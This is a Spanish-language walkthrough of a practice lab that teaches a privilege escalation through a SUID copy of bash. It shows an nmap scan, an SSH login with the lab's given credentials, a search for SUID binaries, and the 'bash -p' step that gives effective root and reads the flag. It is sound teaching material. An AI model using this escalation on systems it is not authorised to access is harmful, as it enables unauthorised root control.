Laboratorio SUID BASH

```
[v] Laboratorio desplegado correctamente.

IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: b4sh123
Comando de conexión: ssh hacker@172.17.0.2

Objetivo: Explota bash con SUID para obtener root y leer /root/flag.txt
Tip: Lee LEEME.txt y ejecuta comparar.sh para entender el concepto

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

Se realiza el escaneo con nmap.

```
┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid bash]
└─$ nmap -p- -sV -sC -sS -Pn --min-rate=5000 172.17.0.2 | tee nmap_scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 08:43 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protoco
l 2.0)
| ssh-hostkey:
|   256 56:37:b3:e1:c5:94:41:72:b7:30:17:77:74:53:f7:37 (ECDSA)
|_  256 05:ed:55:2a:69:e9:ae:ed:03:82:e2:7b:67:ed:82:d1 (ED25519)
MAC Address: 02:86:73:D8:41:A4 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.51 seconds

┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid bash]
└─$
```

Se detecta que el puerto 22 está abierto.

Nos conectamos por ssh con las credenciales proporcionaron al inciar

Generamos una nueva llave

ssh-keygen -f "/home/samlab/.ssh/known_hosts" -R "172.17.0.2"

```
Host key for 172.17.0.2 has changed and you have requested strict check
Host key verification failed.

┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid bash]
└─$ ssh-keygen -f "/home/samlab/.ssh/known_hosts" -R "172.17.0.2"
# Host 172.17.0.2 found: line 1
# Host 172.17.0.2 found: line 2
# Host 172.17.0.2 found: line 3
/home/samlab/.ssh/known_hosts updated.
Original contents retained as /home/samlab/.ssh/known_hosts.old

┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID/suid bash]
└─$
```

```
hacker@230db52e5749:~$ cat LEEME.txt
═══════════════════════════════════════
  LABORATORIO: SUID-BASH
═══════════════════════════════════════

CONCEPTO: Bash y el bit SUID

Por seguridad, bash droppea privilegios SUID
al ejecutarse. Sin embargo, existe un flag
especial que previene este comportamiento...

PISTAS:
1. Busca binarios SUID: find / -perm -4000 2>/dev/null
2. Encuentra bash con SUID en /opt/
3. Ejecuta bash normalmente y compara 'id'
4. Investiga el manual: bash --help
5. Busca un flag que mantenga privilegios (-p)

OBJETIVO:
Obtener una shell con privilegios de root
y leer /root/flag.txt
```

Buscamos los binarios.

```
hacker@230db52e5749:~$ find / -perm -4000 -type f 2>/dev/null
/opt/bash_suid
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/sudo
```

Verificamos que sea SUID.

```
hacker@230db52e5749:~$ ls -l /opt/bash_suid
-rwsr-xr-x 1 root root 1396520 Dec 13 04:55 /opt/bash_suid
hacker@230db52e5749:~$ /opt/bash-suid -p
```

Escalamos los privilegios

```
hacker@230db52e5749:~$ /opt/bash_suid -p
bash_suid-5.1#
```

Encontramos la flag.

```
bash_suid-5.1# cat /root/flag.txt
FLAG{B4SH_PR1V1L3G3D_M0D3_M4ST3R}
bash_suid-5.1#
```

Ejecutamos el archivo comparar.sh

```
/home/hacker
bash_suid-5.1# cat /root/flag.txt
FLAG{B4SH_PR1V1L3G3D_M0D3_M4ST3R}
bash_suid-5.1# comparar.sh
bash_suid: comparar.sh: command not found
bash_suid-5.1# ls
LEEME.txt  comparar.sh
bash_suid-5.1# ./comparar.sh
═══════════════════════════════════════
  COMPARACIÓN: BASH CON Y SIN -p
═══════════════════════════════════════

[*] Tu ID actual:
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID sin -p:
    /opt/bash_suid -c "id"
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID con -p:
    /opt/bash_suid -p -c "id"
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

¿Notas la diferencia en euid?
bash_suid-5.1#
```